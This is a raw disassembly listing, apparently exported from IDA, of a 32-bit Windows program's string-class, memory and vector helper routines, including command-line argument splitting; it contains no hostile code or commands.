pop esi retn sub_409AA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401424j mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43E010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409B10: ; CODE XREF: ___:00402063j ; ___:loc_402171j push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409B28: ; CODE XREF: ___:00409B1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B40 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_4014C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FBE mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_4020F4j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4437F4 push ecx mov dword ptr [esi], offset off_43E010 nop call near ptr byte_5EA1BD add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409BC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C30 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43E010 cmp eax, edi jz short loc_409C4C push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C4C: ; CODE XREF: sub_409C30+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409C5F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C5F: ; CODE XREF: sub_409C30+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409C30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C80 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409CEA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409CAA push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409CAA: ; CODE XREF: sub_409C80+1Fj lea ebx, [ebp+2] push ebx call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0DDAAE852h, 83907783h db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409CEA: ; CODE XREF: sub_409C80+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409C80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D20 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_409D20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409D50: ; CODE XREF: ___:00401A46j mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4437F4 push ecx call near ptr byte_5EA1BD nop add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015D7 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DA0 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409E2F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409E2F: ; CODE XREF: sub_409DA0+84j mov [ebx+9], ebp loc_409E32: ; CODE XREF: sub_409DA0+Cj ; sub_409DA0+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409DA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E70 proc near ; CODE XREF: sub_4016BDj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401A9B pop esi retn 4 sub_409E70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EA0 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx nop call near ptr byte_5EA1BD add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401A9B pop esi add esp, 10h retn 4 sub_409EA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EF0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409F07 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F07: ; CODE XREF: sub_409EF0+7j mov eax, [ecx+9] push ebx loc_409F0B: ; CODE XREF: sub_409EF0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_409F36 test cl, cl jz short loc_409F2F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_409F36 add eax, 2 add esi, 2 test cl, cl jnz short loc_409F0B loc_409F2F: ; CODE XREF: sub_409EF0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F36: ; CODE XREF: sub_409EF0+23j ; sub_409EF0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409EF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F60 proc near ; CODE XREF: sub_401B72j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409F60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F90 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_409FA3 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_409FA3: ; CODE XREF: sub_409F90+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_409F90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4021ADj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A000 proc near ; CODE XREF: sub_401CBCj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A013 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A013: ; CODE XREF: sub_40A000+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A000 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A030 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A072 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015D7 loc_40A072: ; CODE XREF: sub_40A030+13j add esp, 2000h retn sub_40A030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0A0 proc near ; CODE XREF: sub_401D20j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A0A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0C0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_50FAE0 push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx add esp, 8 test eax, eax jnz short loc_40A0E4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj mov ecx, [esi+9] push edi push ecx call ebx mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A0C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401807 retn 4 sub_40A110 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A130 proc near ; CODE XREF: sub_401807j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402117 pop esi retn 8 sub_40A130 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A160 proc near ; CODE XREF: sub_4013E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402117 retn 4 sub_40A160 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A195 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A195: ; CODE XREF: sub_40A180+Bj mov eax, [esi+9] mov ebx, dword_50FAF8 push edi push eax call ebx add esp, 8 test eax, eax jnz short loc_40A1AF pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1AF: ; CODE XREF: sub_40A180+27j mov ecx, [esi+9] push edi push ecx call ebx mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A180 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A203 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A203: ; CODE XREF: sub_40A1F0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A216 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A216: ; CODE XREF: sub_40A1F0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_4367FA sub_40A1F0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A270 proc near ; CODE XREF: sub_4013D9j mov eax, [ecx+11h] retn sub_40A270 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A290 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A290 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A2E2 mov esi, [esp+34h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_40A290+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_401424 mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_4367FA sub_40A290 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015D7 push ebx call sub_4367E2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014C9 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013D9 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A3C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A400: ; CODE XREF: ___:0040193Dj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_4020F4 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A430 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A471 mov esi, [esp+44h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 jmp loc_40A5A4 ; --------------------------------------------------------------------------- loc_40A471: ; CODE XREF: sub_40A430+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_401690 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401861 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014D3 mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A555 push ebx loc_40A4B1: ; CODE XREF: sub_40A430+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A4C0 loc_40A4B7: ; CODE XREF: sub_40A430+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A4B7 loc_40A4C0: ; CODE XREF: sub_40A430+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A4CF inc eax mov [esp+48h+var_3C], eax loc_40A4CF: ; CODE XREF: sub_40A430+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401988 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A51F test cl, cl jz short loc_40A507 loc_40A4EB: ; CODE XREF: sub_40A430+D5j cmp cl, 22h jnz short loc_40A4FC mov cl, [eax+1] cmp cl, 20h jz short loc_40A507 test cl, cl jz short loc_40A507 loc_40A4FC: ; CODE XREF: sub_40A430+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A4EB loc_40A507: ; CODE XREF: sub_40A430+B9j ; sub_40A430+C6j ... cmp byte ptr [eax], 0 jz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A54A add eax, 2 jmp short loc_40A546 ; --------------------------------------------------------------------------- loc_40A51F: ; CODE XREF: sub_40A430+B5j test cl, cl jz short loc_40A534 mov dl, [edi] loc_40A525: ; CODE XREF: sub_40A430+102j cmp cl, dl jz short loc_40A534 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A525 loc_40A534: ; CODE XREF: sub_40A430+F1j ; sub_40A430+F7j mov cl, [eax] test cl, cl jz short loc_40A54A cmp cl, [edi] jnz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A546: ; CODE XREF: sub_40A430+EDj mov [esp+48h+var_3C], eax loc_40A54A: ; CODE XREF: sub_40A430+DAj ; sub_40A430+E8j ... mov cl, [eax] test cl, cl jnz loc_40A4B1 pop ebx loc_40A555: ; CODE XREF: sub_40A430+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A56D push offset byte_446F60 jmp short loc_40A57A ; --------------------------------------------------------------------------- loc_40A56D: ; CODE XREF: sub_40A430+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F64 mov eax, [eax] push eax loc_40A57A: ; CODE XREF: sub_40A430+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401861 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_40158C ; --------------------------------------------------------------------------- loc_40A5A4: ; CODE XREF: sub_40A430+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A430 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A630 proc near ; CODE XREF: sub_4016AEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A630 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A670 proc near ; CODE XREF: sub_40200Ej arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_40A670 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6A0 proc near ; CODE XREF: sub_401A87j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 retn 4 sub_40A6A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6C0 proc near ; CODE XREF: sub_40146Fj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A6C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A6E0: ; CODE XREF: ___:0040149Cj mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A700 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A720 proc near ; CODE XREF: sub_4017E4j mov eax, [ecx+9] retn sub_40A720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_4014D3j mov eax, [ecx+9] retn sub_40A740 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A760 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A760 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A790 proc near ; CODE XREF: sub_40158Cj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A790 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A7EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A7EA: ; CODE XREF: sub_40A7E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A810 proc near ; CODE XREF: sub_401F64j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A828 mov ecx, esi call sub_401EE7 loc_40A828: ; CODE XREF: sub_40A810+Fj mov ecx, esi call sub_401D1B lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A810 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A850 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40164F push eax mov ecx, esi call sub_4016EF pop esi retn 4 sub_40A850 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A880 proc near ; CODE XREF: sub_401D1Bj mov eax, [ecx+4] retn sub_40A880 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8A0 proc near ; CODE XREF: sub_40164Fj mov eax, [ecx+8] retn sub_40A8A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4016EFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D1B mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013CF mov ecx, edi call sub_401D1B lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A910 proc near ; CODE XREF: sub_4019A6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40A930 loc_40A921: ; CODE XREF: sub_40A910+1Ej push esi mov ecx, edi call sub_4018B1 add esi, 4 cmp esi, ebx jnz short loc_40A921 loc_40A930: ; CODE XREF: sub_40A910+Fj pop edi pop esi pop ebx retn 8 sub_40A910 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A950: ; CODE XREF: sub_401EE7j push 0FFFFFFFFh push offset loc_438AB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_43F080 push edx call sub_436832 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A9D0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40A9D0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4013CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AABB mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AA23 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AA25 ; --------------------------------------------------------------------------- loc_40AA23: ; CODE XREF: sub_40A9F0+26j mov ebp, edi loc_40AA25: ; CODE XREF: sub_40A9F0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DCF ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] mov 